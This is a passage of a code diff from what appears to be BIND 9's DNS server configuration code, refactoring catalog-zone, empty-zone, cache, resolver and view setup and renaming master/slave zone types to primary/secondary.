-		dns_catz_catzs_attach(pview->catzs, &view->catzs);
+		dns_catz_zones_attach(pview->catzs, &view->catzs);
+		dns_catz_zones_detach(&pview->catzs);
 		dns_catz_prereconfig(view->catzs);
+	} else {
+		view->catzs = dns_catz_zones_new(view->mctx, named_g_loopmgr,
+						 &ns_catz_zonemodmethods);
 	}
 
 	while (zone_element != NULL) {
-		CHECK(configure_catz_zone(view, config, zone_element));
+		CHECK(configure_catz_zone(view, pview, config, zone_element));
 		zone_element = cfg_list_next(zone_element);
 	}
 
@@ -3179,7 +3133,7 @@ configure_catz(dns_view_t *view, const cfg_obj_t *config,
 	result = ISC_R_SUCCESS;
 
 cleanup:
-	if (pview != NULL) {
+	if (pview_must_detach) {
 		dns_view_detach(&pview);
 	}
 
@@ -3365,7 +3319,7 @@ add_soa(dns_db_t *db, dns_dbversion_t *version, const dns_name_t *name,
 	ISC_LIST_APPEND(rdatalist.rdata, &rdata, link);
 
 	dns_rdataset_init(&rdataset);
-	CHECK(dns_rdatalist_tordataset(&rdatalist, &rdataset));
+	dns_rdatalist_tordataset(&rdatalist, &rdataset);
 	CHECK(dns_db_findnode(db, name, true, &node));
 	CHECK(dns_db_addrdataset(db, node, version, 0, &rdataset, 0, NULL));
 
@@ -3405,7 +3359,7 @@ add_ns(dns_db_t *db, dns_dbversion_t *version, const dns_name_t *name,
 	ISC_LIST_APPEND(rdatalist.rdata, &rdata, link);
 
 	dns_rdataset_init(&rdataset);
-	CHECK(dns_rdatalist_tordataset(&rdatalist, &rdataset));
+	dns_rdatalist_tordataset(&rdatalist, &rdataset);
 	CHECK(dns_db_findnode(db, name, true, &node));
 	CHECK(dns_db_addrdataset(db, node, version, 0, &rdataset, 0, NULL));
 
@@ -3457,7 +3411,7 @@ create_empty_zone(dns_zone_t *pzone, dns_name_t *name, dns_view_t *view,
 	{
 		zconfig = cfg_listelt_value(element);
 		str = cfg_obj_asstring(cfg_tuple_get(zconfig, "name"));
-		CHECK(dns_name_fromstring(zname, str, 0, NULL));
+		CHECK(dns_name_fromstring(zname, str, dns_rootname, 0, NULL));
 		namereln = dns_name_fullcompare(zname, name, &order, &nlabels);
 		if (namereln != dns_namereln_subdomain) {
 			continue;
@@ -3468,7 +3422,8 @@ create_empty_zone(dns_zone_t *pzone, dns_name_t *name, dns_view_t *view,
 		obj = NULL;
 		(void)cfg_map_get(zoptions, "type", &obj);
 		if (obj != NULL &&
-		    strcasecmp(cfg_obj_asstring(obj), "forward") == 0) {
+		    strcasecmp(cfg_obj_asstring(obj), "forward") == 0)
+		{
 			obj = NULL;
 			(void)cfg_map_get(zoptions, "forward", &obj);
 			if (obj == NULL) {
@@ -3487,10 +3442,11 @@ create_empty_zone(dns_zone_t *pzone, dns_name_t *name, dns_view_t *view,
 				dns_name_clone(name, ns);
 			} else {
 				CHECK(dns_name_fromstring(ns, empty_dbtype[2],
-							  0, NULL));
+							  dns_rootname, 0,
+							  NULL));
 			}
-			CHECK(dns_name_fromstring(contact, empty_dbtype[3], 0,
-						  NULL));
+			CHECK(dns_name_fromstring(contact, empty_dbtype[3],
+						  dns_rootname, 0, NULL));
 			CHECK(add_soa(db, version, name, ns, contact));
 			CHECK(add_ns(db, version, name, ns));
 		}
@@ -3517,7 +3473,8 @@ create_empty_zone(dns_zone_t *pzone, dns_name_t *name, dns_view_t *view,
 			pzone = NULL;
 		}
 
-		if (pzone != NULL && dns_zone_gettype(pzone) != dns_zone_master)
+		if (pzone != NULL &&
+		    dns_zone_gettype(pzone) != dns_zone_primary)
 		{
 			pzone = NULL;
 		}
@@ -3541,7 +3498,7 @@ create_empty_zone(dns_zone_t *pzone, dns_name_t *name, dns_view_t *view,
 			dns_zone_setdbtype(zone, empty_dbtypec, empty_dbtype);
 		}
 		dns_zone_setclass(zone, view->rdclass);
-		dns_zone_settype(zone, dns_zone_master);
+		dns_zone_settype(zone, dns_zone_primary);
 		dns_zone_setstats(zone, named_g_server->zonestats);
 	} else {
 		dns_zone_attach(pzone, &zone);
@@ -3549,6 +3506,7 @@ create_empty_zone(dns_zone_t *pzone, dns_name_t *name, dns_view_t *view,
 
 	dns_zone_setoption(zone, ~DNS_ZONEOPT_NOCHECKNS, false);
 	dns_zone_setoption(zone, DNS_ZONEOPT_NOCHECKNS, true);
+	dns_zone_setcheckdstype(zone, dns_checkdstype_no);
 	dns_zone_setnotifytype(zone, dns_notifytype_no);
 	dns_zone_setdialup(zone, dns_dialuptype_no);
 	dns_zone_setautomatic(zone, true);
@@ -3569,7 +3527,7 @@ create_empty_zone(dns_zone_t *pzone, dns_name_t *name, dns_view_t *view,
 		dns_zone_clearxfracl(zone);
 	}
 
-	CHECK(setquerystats(zone, view->mctx, statlevel));
+	setquerystats(zone, view->mctx, statlevel);
 	if (db != NULL) {
 		dns_db_closeversion(db, &version, true);
 		CHECK(dns_zone_replacedb(zone, db, false));
@@ -3641,14 +3599,15 @@ create_ipv4only_zone(dns_zone_t *pzone, dns_view_t *view,
 		/*
 		 * Create the actual zone.
 		 */
-		CHECK(dns_zone_create(&zone, mctx));
+		dns_zone_create(&zone, mctx, 0);
 		CHECK(dns_zone_setorigin(zone, name));
 		CHECK(dns_zonemgr_managezone(named_g_server->zonemgr, zone));
 		dns_zone_setclass(zone, view->rdclass);
-		dns_zone_settype(zone, dns_zone_master);
+		dns_zone_settype(zone, dns_zone_primary);
 		dns_zone_setstats(zone, named_g_server->zonestats);
 		dns_zone_setdbtype(zone, dbtypec, dbtype);
 		dns_zone_setdialup(zone, dns_dialuptype_no);
+		dns_zone_setcheckdstype(zone, dns_checkdstype_no);
 		dns_zone_setnotifytype(zone, dns_notifytype_no);
 		dns_zone_setautomatic(zone, true);
 		dns_zone_setoption(zone, DNS_ZONEOPT_NOCHECKNS, true);
@@ -3864,8 +3823,7 @@ configure_dnstap(const cfg_obj_t **maps, dns_view_t *view) {
 		}
 
 		CHECKM(dns_dt_create(named_g_mctx, dmode, dpath, &fopt,
-				     named_g_server->task,
-				     &named_g_server->dtenv),
+				     named_g_mainloop, &named_g_server->dtenv),
 		       "unable to create dnstap environment");
 
 		CHECKM(dns_dt_setupfile(named_g_server->dtenv, max_size, rolls,
@@ -3892,8 +3850,7 @@ configure_dnstap(const cfg_obj_t **maps, dns_view_t *view) {
 	if (result == ISC_R_SUCCESS && cfg_obj_isboolean(obj)) {
 		/* "hostname" is interpreted as boolean true */
 		char buf[256];
-		result = named_os_gethostname(buf, sizeof(buf));
-		if (result == ISC_R_SUCCESS) {
+		if (gethostname(buf, sizeof(buf)) == 0) {
 			dns_dt_setidentity(named_g_server->dtenv, buf);
 		}
 	} else if (result == ISC_R_SUCCESS && !cfg_obj_isvoid(obj)) {
@@ -3976,6 +3933,44 @@ register_one_plugin(const cfg_obj_t *config, const cfg_obj_t *obj,
 	return (result);
 }
 
+/*
+ * Determine if a minimal-sized cache can be used for a given view, according
+ * to 'maps' (implicit defaults, global options, view options) and 'optionmaps'
+ * (global options, view options).  This is only allowed for views which have
+ * recursion disabled and do not have "max-cache-size" set explicitly.  Using
+ * minimal-sized caches prevents a situation in which all explicitly configured
+ * and built-in views inherit the default "max-cache-size 90%;" setting, which
+ * could lead to memory exhaustion with multiple views configured.
+ */
+static bool
+minimal_cache_allowed(const cfg_obj_t *maps[4],
+		      const cfg_obj_t *optionmaps[3]) {
+	const cfg_obj_t *obj;
+
+	/*
+	 * Do not use a minimal-sized cache for a view with recursion enabled.
+	 */
+	obj = NULL;
+	(void)named_config_get(maps, "recursion", &obj);
+	INSIST(obj != NULL);
+	if (cfg_obj_asboolean(obj)) {
+		return (false);
+	}
+
+	/*
+	 * Do not use a minimal-sized cache if a specific size was requested.
+	 */
+	obj = NULL;
+	(void)named_config_get(optionmaps, "max-cache-size", &obj);
+	if (obj != NULL) {
+		return (false);
+	}
+
+	return (true);
+}
+
+static const char *const response_synonyms[] = { "response", NULL };
+
 /*
  * Configure 'view' according to 'vconfig', taking defaults from
  * 'config' where values are missing in 'vconfig'.
@@ -3999,12 +3994,15 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 	const cfg_obj_t *zonelist;
 	const cfg_obj_t *dlzlist;
 	const cfg_obj_t *dlz;
+	const cfg_obj_t *prefetch_trigger;
+	const cfg_obj_t *prefetch_eligible;
 	unsigned int dlzargc;
 	char **dlzargv;
 	const cfg_obj_t *dyndb_list, *plugin_list;
 	const cfg_obj_t *disabled;
 	const cfg_obj_t *obj, *obj2;
-	const cfg_listelt_t *element;
+	const cfg_listelt_t *element = NULL;
+	const cfg_listelt_t *zone_element_latest = NULL;
 	in_port_t port;
 	dns_cache_t *cache = NULL;
 	isc_result_t result;
@@ -4014,13 +4012,13 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 	uint32_t lame_ttl, fail_ttl;
 	uint32_t max_stale_ttl = 0;
 	uint32_t stale_refresh_time = 0;
-	dns_tsig_keyring_t *ring = NULL;
+	dns_tsigkeyring_t *ring = NULL;
 	dns_transport_list_t *transports = NULL;
 	dns_view_t *pview = NULL; /* Production view */
-	isc_mem_t *cmctx = NULL, *hmctx = NULL;
 	dns_dispatch_t *dispatch4 = NULL;
 	dns_dispatch_t *dispatch6 = NULL;
-	bool reused_cache = false;
+	bool rpz_configured = false;
+	bool catz_configured = false;
 	bool shared_cache = false;
 	int i = 0, j = 0, k = 0;
 	const char *str;
@@ -4041,11 +4039,11 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 	dns_acl_t *clients = NULL, *mapped = NULL, *excluded = NULL;
 	unsigned int query_timeout, ndisp;
 	bool old_rpz_ok = false;
-	isc_dscp_t dscp4 = -1, dscp6 = -1;
 	dns_dyndbctx_t *dctx = NULL;
 	unsigned int resolver_param;
 	dns_ntatable_t *ntatable = NULL;
 	const char *qminmode = NULL;
+	dns_adb_t *adb = NULL;
 
 	REQUIRE(DNS_VIEW_VALID(view));
 
@@ -4091,14 +4089,25 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 	if (view->rdclass == dns_rdataclass_in && need_hints &&
 	    named_config_get(maps, "response-policy", &obj) == ISC_R_SUCCESS)
 	{
-		CHECK(configure_rpz(view, maps, obj, &old_rpz_ok));
+		CHECK(configure_rpz(view, NULL, maps, obj, &old_rpz_ok));
+		rpz_configured = true;
+	}
+
+	obj = NULL;
+	if (view->rdclass != dns_rdataclass_in && need_hints &&
+	    named_config_get(maps, "catalog-zones", &obj) == ISC_R_SUCCESS)
+	{
+		cfg_obj_log(obj, named_g_lctx, ISC_LOG_WARNING,
+			    "'catalog-zones' option is only supported "
+			    "for views with class IN");
 	}
 
 	obj = NULL;
 	if (view->rdclass == dns_rdataclass_in && need_hints &&
 	    named_config_get(maps, "catalog-zones", &obj) == ISC_R_SUCCESS)
 	{
-		CHECK(configure_catz(view, config, obj));
+		CHECK(configure_catz(view, NULL, config, obj));
+		catz_configured = true;
 	}
 
 	/*
@@ -4118,15 +4127,15 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 	     element = cfg_list_next(element))
 	{
 		const cfg_obj_t *zconfig = cfg_listelt_value(element);
-		CHECK(configure_zone(config, zconfig, vconfig, mctx, view,
-				     viewlist, kasplist, actx, false,
-				     old_rpz_ok, false));
+		CHECK(configure_zone(config, zconfig, vconfig, view, viewlist,
+				     kasplist, actx, false, old_rpz_ok, false));
+		zone_element_latest = element;
 	}
 
 	/*
-	 * Check that a master or slave zone was found for each
-	 * zone named in the response policy statement
-	 * unless we are using RPZ service interface.
+	 * Check that a primary or secondary zone was found for each
+	 * zone named in the response policy statement, unless we are
+	 * using RPZ service interface.
 	 */
 	if (view->rpzs != NULL && !view->rpzs->p.dnsrps_enabled) {
 		dns_rpz_num_t n;
@@ -4141,8 +4150,8 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 					      NAMED_LOGCATEGORY_GENERAL,
 					      NAMED_LOGMODULE_SERVER,
 					      DNS_RPZ_ERROR_LEVEL,
-					      "rpz '%s'"
-					      " is not a master or slave zone",
+					      "rpz '%s' is not a primary or a "
+					      "secondary zone",
 					      namebuf);
 				result = ISC_R_NOTFOUND;
 				goto cleanup;
@@ -4155,7 +4164,7 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 	 * from the newzone file for zones that were added during previous
 	 * runs.
 	 */
-	CHECK(configure_newzones(view, config, vconfig, mctx, actx));
+	CHECK(configure_newzones(view, config, vconfig, actx));
 
 	/*
 	 * Create Dynamically Loadable Zone driver.
@@ -4196,7 +4205,7 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 					       dlzargv[0], dlzargc, dlzargv,
 					       &dlzdb);
 			isc_mem_free(mctx, s);
-			isc_mem_put(mctx, dlzargv, dlzargc * sizeof(*dlzargv));
+			isc_mem_cput(mctx, dlzargv, dlzargc, sizeof(*dlzargv));
 			if (result != ISC_R_SUCCESS) {
 				goto cleanup;
 			}
@@ -4241,6 +4250,12 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 	 */
 	if (named_g_maxcachesize != 0) {
 		max_cache_size = named_g_maxcachesize;
+	} else if (minimal_cache_allowed(maps, optionmaps)) {
+		/*
+		 * dns_cache_setcachesize() will adjust this to the smallest
+		 * allowed value.
+		 */
+		max_cache_size = 1;
 	} else if (cfg_obj_isstring(obj)) {
 		str = cfg_obj_asstring(obj);
 		INSIST(strcasecmp(str, "unlimited") == 0);
@@ -4249,8 +4264,7 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 		max_cache_size = SIZE_AS_PERCENT;
 		max_cache_size_percent = cfg_obj_aspercentage(obj);
 	} else {
-		isc_resourcevalue_t value;
-		value = cfg_obj_asuint64(obj);
+		uint64_t value = cfg_obj_asuint64(obj);
 		if (value > SIZE_MAX) {
 			cfg_obj_log(obj, named_g_lctx, ISC_LOG_WARNING,
 				    "'max-cache-size "
@@ -4286,7 +4300,7 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 
 	/* Check-names. */
 	obj = NULL;
-	result = named_checknames_get(maps, "response", &obj);
+	result = named_checknames_get(maps, response_synonyms, &obj);
 	INSIST(result == ISC_R_SUCCESS);
 
 	str = cfg_obj_asstring(obj);
@@ -4300,8 +4314,7 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 	} else if (strcasecmp(str, "ignore") == 0) {
 		view->checknames = false;
 	} else {
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	obj = NULL;
@@ -4593,7 +4606,8 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 			}
 			if (pview != NULL) {
 				if (!cache_reusable(pview, view,
-						    zero_no_soattl)) {
+						    zero_no_soattl))
+				{
 					isc_log_write(named_g_lctx,
 						      NAMED_LOGCATEGORY_GENERAL,
 						      NAMED_LOGMODULE_SERVER,
@@ -4610,12 +4624,12 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 						      NAMED_LOGMODULE_SERVER,
 						      ISC_LOG_DEBUG(3),
 						      "reusing existing cache");
-					reused_cache = true;
 					dns_cache_attach(pview->cache, &cache);
 				}
-				dns_view_getresstats(pview, &resstats);
-				dns_view_getresquerystats(pview,
-							  &resquerystats);
+				dns_resolver_getstats(pview->resolver,
+						      &resstats);
+				dns_resolver_getquerystats(pview->resolver,
+							   &resquerystats);
 				dns_view_detach(&pview);
 			}
 		}
@@ -4627,21 +4641,9 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 			 * view but is not yet configured.  If it is not the
 			 * view name but not a forward reference either, then it
 			 * is simply a named cache that is not shared.
-			 *
-			 * We use two separate memory contexts for the
-			 * cache, for the main cache memory and the heap
-			 * memory.
 			 */
-			isc_mem_create(&cmctx);
-			isc_mem_setname(cmctx, "cache");
-			isc_mem_create(&hmctx);
-			isc_mem_setname(hmctx, "cache_heap");
-			CHECK(dns_cache_create(cmctx, hmctx, named_g_taskmgr,
-					       named_g_timermgr, view->rdclass,
-					       cachename, "rbt", 0, NULL,
-					       &cache));
-			isc_mem_detach(&cmctx);
-			isc_mem_detach(&hmctx);
+			CHECK(dns_cache_create(named_g_loopmgr, view->rdclass,
+					       cachename, &cache));
 		}
 		nsc = isc_mem_get(mctx, sizeof(*nsc));
 		nsc->cache = NULL;
@@ -4655,19 +4657,6 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 	}
 	dns_view_setcache(view, cache, shared_cache);
 
-	/*
-	 * cache-file cannot be inherited if views are present, but this
-	 * should be caught by the configuration checking stage.
-	 */
-	obj = NULL;
-	result = named_config_get(maps, "cache-file", &obj);
-	if (result == ISC_R_SUCCESS && strcmp(view->name, "_bind") != 0) {
-		CHECK(dns_cache_setfilename(cache, cfg_obj_asstring(obj)));
-		if (!reused_cache && !shared_cache) {
-			CHECK(dns_cache_load(cache));
-		}
-	}
-
 	dns_cache_setcachesize(cache, max_cache_size);
 	dns_cache_setservestalettl(cache, max_stale_ttl);
 	dns_cache_setservestalerefresh(cache, stale_refresh_time);
@@ -4681,51 +4670,33 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 
 	/*
 	 * Resolver.
-	 *
-	 * XXXRTH  Hardwired number of tasks.
 	 */
 	CHECK(get_view_querysource_dispatch(
-		maps, AF_INET, &dispatch4, &dscp4,
+		maps, AF_INET, &dispatch4,
 		(ISC_LIST_PREV(view, link) == NULL)));
 	CHECK(get_view_querysource_dispatch(
-		maps, AF_INET6, &dispatch6, &dscp6,
+		maps, AF_INET6, &dispatch6,
 		(ISC_LIST_PREV(view, link) == NULL)));
 	if (dispatch4 == NULL && dispatch6 == NULL) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "unable to obtain neither an IPv4 nor"
+		UNEXPECTED_ERROR("unable to obtain either an IPv4 or"
 				 " an IPv6 dispatch");
 		result = ISC_R_UNEXPECTED;
 		goto cleanup;
 	}
 
-	if (resstats == NULL) {
-		CHECK(isc_stats_create(mctx, &resstats,
-				       dns_resstatscounter_max));
-	}
-	dns_view_setresstats(view, resstats);
-	if (resquerystats == NULL) {
-		CHECK(dns_rdatatypestats_create(mctx, &resquerystats));
-	}
-	dns_view_setresquerystats(view, resquerystats);
-
 	ndisp = 4 * ISC_MIN(named_g_udpdisp, MAX_UDP_DISPATCH);
 	CHECK(dns_view_createresolver(
-		view, named_g_taskmgr, RESOLVER_NTASKS_PERCPU * named_g_cpus,
-		ndisp, named_g_socketmgr, named_g_timermgr, resopts,
-		named_g_dispatchmgr, dispatch4, dispatch6));
+		view, named_g_loopmgr, ndisp, named_g_netmgr, resopts,
+		named_g_server->tlsctx_client_cache, dispatch4, dispatch6));
 
-	if (dscp4 == -1) {
-		dscp4 = named_g_dscp;
-	}
-	if (dscp6 == -1) {
-		dscp6 = named_g_dscp;
-	}
-	if (dscp4 != -1) {
-		dns_resolver_setquerydscp4(view->resolver, dscp4);
+	if (resstats == NULL) {
+		isc_stats_create(mctx, &resstats, dns_resstatscounter_max);
 	}
-	if (dscp6 != -1) {
-		dns_resolver_setquerydscp6(view->resolver, dscp6);
+	dns_resolver_setstats(view->resolver, resstats);
+	if (resquerystats == NULL) {
+		dns_rdatatypestats_create(mctx, &resquerystats);
 	}
+	dns_resolver_setquerystats(view->resolver, resquerystats);
 
 	/*
 	 * Set the ADB cache size to 1/8th of the max-cache-size or
@@ -4738,16 +4709,26 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 			max_adb_size = 1; /* Force minimum. */
 		}
 		if (view != nsc->primaryview &&
-		    max_adb_size > MAX_ADB_SIZE_FOR_CACHESHARE) {
+		    max_adb_size > MAX_ADB_SIZE_FOR_CACHESHARE)
+		{
 			max_adb_size = MAX_ADB_SIZE_FOR_CACHESHARE;
 			if (!nsc->adbsizeadjusted) {
-				dns_adb_setadbsize(nsc->primaryview->adb,
-						   MAX_ADB_SIZE_FOR_CACHESHARE);
-				nsc->adbsizeadjusted = true;
+				dns_view_getadb(nsc->primaryview, &adb);
+				if (adb != NULL) {
+					dns_adb_setadbsize(
+						adb,
+						MAX_ADB_SIZE_FOR_CACHESHARE);
+					nsc->adbsizeadjusted = true;
+					dns_adb_detach(&adb);
+				}
 			}
 		}
 	}
-	dns_adb_setadbsize(view->adb, max_adb_size);
+	dns_view_getadb(view, &adb);
+	if (adb != NULL) {
+		dns_adb_setadbsize(adb, max_adb_size);
+		dns_adb_detach(&adb);
+	}
 
 	/*
 	 * Set up ADB quotas
@@ -4771,8 +4752,7 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 			} else if (strcasecmp(resp, "fail") == 0) {
 				r = DNS_R_SERVFAIL;
 			} else {
-				INSIST(0);
-				ISC_UNREACHABLE();
+				UNREACHABLE();
 			}
 
 			dns_resolver_setquotaresponse(view->resolver,
@@ -4795,7 +4775,11 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 		obj2 = cfg_tuple_get(obj, "discount");
 		discount = (double)cfg_obj_asfixedpoint(obj2) / 100.0;
 
-		dns_adb_setquota(view->adb, fps, freq, low, high, discount);
+		dns_view_getadb(view, &adb);
+		if (adb != NULL) {
+			dns_adb_setquota(adb, fps, freq, low, high, discount);
+			dns_adb_detach(&adb);
+		}
 	}
 
 	/*
@@ -4805,8 +4789,11 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 	result = named_config_get(maps, "lame-ttl", &obj);
 	INSIST(result == ISC_R_SUCCESS);
 	lame_ttl = cfg_obj_asduration(obj);
-	if (lame_ttl > 1800) {
-		lame_ttl = 1800;
+	if (lame_ttl > 0) {
+		cfg_obj_log(obj, named_g_lctx, ISC_LOG_WARNING,
+			    "disabling lame cache despite lame-ttl > 0 as it "
+			    "may cause performance issues");
+		lame_ttl = 0;
 	}
 	dns_resolver_setlamettl(view->resolver, lame_ttl);
 
@@ -4857,7 +4844,7 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 	if (udpsize > 8192) {
 		udpsize = 8192;
 	}
-	dns_resolver_setudpsize(view->resolver, (uint16_t)udpsize);
+	dns_view_setudpsize(view, (uint16_t)udpsize);
 
 	/*
 	 * Set the maximum UDP response size.
@@ -4925,7 +4912,6 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 	/*
 	 * Set supported DNSSEC algorithms.
 	 */
-	dns_resolver_reset_algorithms(view->resolver);
 	disabled = NULL;
 	(void)named_config_get(maps, "disable-algorithms", &disabled);
 	if (disabled != NULL) {
@@ -4940,7 +4926,6 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 	/*
 	 * Set supported DS digest types.
 	 */
-	dns_resolver_reset_ds_digests(view->resolver);
 	disabled = NULL;
 	(void)named_config_get(maps, "disable-ds-digests", &disabled);
 	if (disabled != NULL) {
@@ -4990,7 +4975,8 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 	 */
 	if (view->hints == NULL) {
 		dns_zone_t *rootzone = NULL;
-		(void)dns_view_findzone(view, dns_rootname, &rootzone);
+		(void)dns_view_findzone(view, dns_rootname, DNS_ZTFIND_EXACT,
+					&rootzone);
 		if (rootzone != NULL) {
 			dns_zone_detach(&rootzone);
 			need_hints = false;
@@ -5016,8 +5002,17 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 	 */
 	CHECK(named_tsigkeyring_fromconfig(config, vconfig, view->mctx, &ring));
 	if (named_g_server->sessionkey != NULL) {
-		CHECK(dns_tsigkeyring_add(ring, named_g_server->session_keyname,
-					  named_g_server->sessionkey));
+		dns_tsigkey_t *tsigkey = NULL;
+		result = dns_tsigkey_createfromkey(
+			named_g_server->session_keyname,
+			named_g_server->session_keyalg,
+			named_g_server->sessionkey, false, false, NULL, 0, 0,
+			mctx, &tsigkey);
+		if (result == ISC_R_SUCCESS) {
+			result = dns_tsigkeyring_add(ring, tsigkey);
+			dns_tsigkey_detach(&tsigkey);
+		}
+		CHECK(result);
 	}
 	dns_view_setkeyring(view, ring);
 	dns_tsigkeyring_detach(&ring);
@@ -5143,12 +5138,6 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 	INSIST(result == ISC_R_SUCCESS);
 	view->auth_nxdomain = cfg_obj_asboolean(obj);
 
-	/* deprecated */
-	obj = NULL;
-	result = named_config_get(maps, "glue-cache", &obj);
-	INSIST(result == ISC_R_SUCCESS);
-	view->use_glue_cache = cfg_obj_asboolean(obj);
-
 	obj = NULL;
 	result = named_config_get(maps, "minimal-any", &obj);
 	INSIST(result == ISC_R_SUCCESS);
@@ -5170,8 +5159,7 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 		} else if (strcasecmp(str, "no-auth-recursive") == 0) {
 			view->minimalresponses = dns_minimal_noauthrec;
 		} else {
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 	}
 
@@ -5184,8 +5172,7 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 	} else if (strcasecmp(str, "one-answer") == 0) {
 		view->transfer_format = dns_one_answer;
 	} else {
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	obj = NULL;
@@ -5223,7 +5210,8 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 				 NULL, actx, named_g_mctx, &view->cacheonacl));
 
 	if (strcmp(view->name, "_bind") != 0 &&
-	    view->rdclass != dns_rdataclass_chaos) {
+	    view->rdclass != dns_rdataclass_chaos)
+	{
 		/* named.conf only */
 		CHECK(configure_view_acl(vconfig, config, NULL,
 					 "allow-recursion", NULL, actx,
@@ -5497,8 +5485,7 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 		} else if (strcasecmp(resp, "fail") == 0) {
 			r = DNS_R_SERVFAIL;
 		} else {
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 
 		dns_resolver_setquotaresponse(view->resolver,
@@ -5507,33 +5494,29 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 
 	obj = NULL;
 	result = named_config_get(maps, "prefetch", &obj);
-	if (result == ISC_R_SUCCESS) {
-		const cfg_obj_t *trigger, *eligible;
-
-		trigger = cfg_tuple_get(obj, "trigger");
-		view->prefetch_trigger = cfg_obj_asuint32(trigger);
-		if (view->prefetch_trigger > 10) {
-			view->prefetch_trigger = 10;
-		}
-		eligible = cfg_tuple_get(obj, "eligible");
-		if (cfg_obj_isvoid(eligible)) {
-			int m;
-			for (m = 1; maps[m] != NULL; m++) {
-				obj = NULL;
-				result = named_config_get(&maps[m], "prefetch",
-							  &obj);
-				INSIST(result == ISC_R_SUCCESS);
-				eligible = cfg_tuple_get(obj, "eligible");
-				if (cfg_obj_isuint32(eligible)) {
-					break;
-				}
+	INSIST(result == ISC_R_SUCCESS);
+	prefetch_trigger = cfg_tuple_get(obj, "trigger");
+	view->prefetch_trigger = cfg_obj_asuint32(prefetch_trigger);
+	if (view->prefetch_trigger > 10) {
+		view->prefetch_trigger = 10;
+	}
+	prefetch_eligible = cfg_tuple_get(obj, "eligible");
+	if (cfg_obj_isvoid(prefetch_eligible)) {
+		int m;
+		for (m = 1; maps[m] != NULL; m++) {
+			obj = NULL;
+			result = named_config_get(&maps[m], "prefetch", &obj);
+			INSIST(result == ISC_R_SUCCESS);
+			prefetch_eligible = cfg_tuple_get(obj, "eligible");
+			if (cfg_obj_isuint32(prefetch_eligible)) {
+				break;
 			}
-			INSIST(cfg_obj_isuint32(eligible));
-		}
-		view->prefetch_eligible = cfg_obj_asuint32(eligible);
-		if (view->prefetch_eligible < view->prefetch_trigger + 6) {
-			view->prefetch_eligible = view->prefetch_trigger + 6;
 		}
+		INSIST(cfg_obj_isuint32(prefetch_eligible));
+	}
+	view->prefetch_eligible = cfg_obj_asuint32(prefetch_eligible);
+	if (view->prefetch_eligible < view->prefetch_trigger + 6) {
+		view->prefetch_eligible = view->prefetch_trigger + 6;
 	}
 
 	/*
@@ -5541,8 +5524,8 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 	 * "security roots".
 	 */
 	CHECK(configure_view_dnsseckeys(view, vconfig, config, bindkeys,
-					auto_root, mctx));
-	dns_resolver_resetmustbesecure(view->resolver);
+					auto_root));
+
 	obj = NULL;
 	result = named_config_get(maps, "dnssec-must-be-secure", &obj);
 	if (result == ISC_R_SUCCESS) {
@@ -5574,29 +5557,6 @@ configure_view(dns_view_t *view, dns_viewlist_t *viewlist, cfg_obj_t *config,
 		view->preferred_glue = 0;
 	}
 
-	obj = NULL;
-	result = named_config_get(maps, "root-delegation-only", &obj);
-	if (result == ISC_R_SUCCESS) {
-		dns_view_setrootdelonly(view, true);
-	}
-	if (result == ISC_R_SUCCESS && !cfg_obj_isvoid(obj)) {
-		const cfg_obj_t *exclude;
-		dns_fixedname_t fixed;
-		dns_name_t *name;
-
-		name = dns_fixedname_initname(&fixed);
-		for (element = cfg_list_first(obj); element != NULL;
-		     element = cfg_list_next(element))
-		{
-			exclude = cfg_listelt_value(element);
